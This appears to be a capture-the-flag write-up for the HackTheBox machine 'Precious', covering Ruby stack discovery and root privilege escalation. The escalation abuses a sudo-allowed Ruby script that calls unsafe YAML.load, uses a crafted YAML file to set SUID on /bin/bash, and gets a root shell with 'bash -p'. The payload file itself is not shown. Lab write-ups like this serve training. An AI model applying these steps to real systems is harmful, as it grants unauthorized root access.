Visiting http://precious.htb will display a page that says "Convert Web Page to PDF".
A quick check using a locally setup webserver showed that the page is exactly doing that.
Using Burp we check our requests and can identify that Ruby is used!
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Sun, 27 Nov 2022 19:02:41 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
Content-Length: 506
Always the first thing todo is to check for any sudo privileges
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Looks like we are allowed to update dependencies as root user. Smells like a ruby deserialization attack
/opt/update_dependencies.rb
Checking the file we are allowed to run will confirm my assumption. YAML.load is extremely unsafe and shouldn't be used according to Ruby - YAML
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Privilege Escalation
We will use a Universal RCE for Ruby YAML.load - YAML.load - RCE
dependencies.yaml
First we have to create the dependencies.yaml file in our current location and modify git_set to add suid on /bin/bash
# Will throw some errors after execution
sudo /usr/bin/ruby /opt/update_dependencies.rb
# Check permissions on /bin/bash
ls -al /bin/bash
# -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
# If bash has SUID bit set it does not drop the elevated privileges. So we will use that as planned
/bin/bash -p
id
# uid=0(root) gid=0(root) groups=0(root)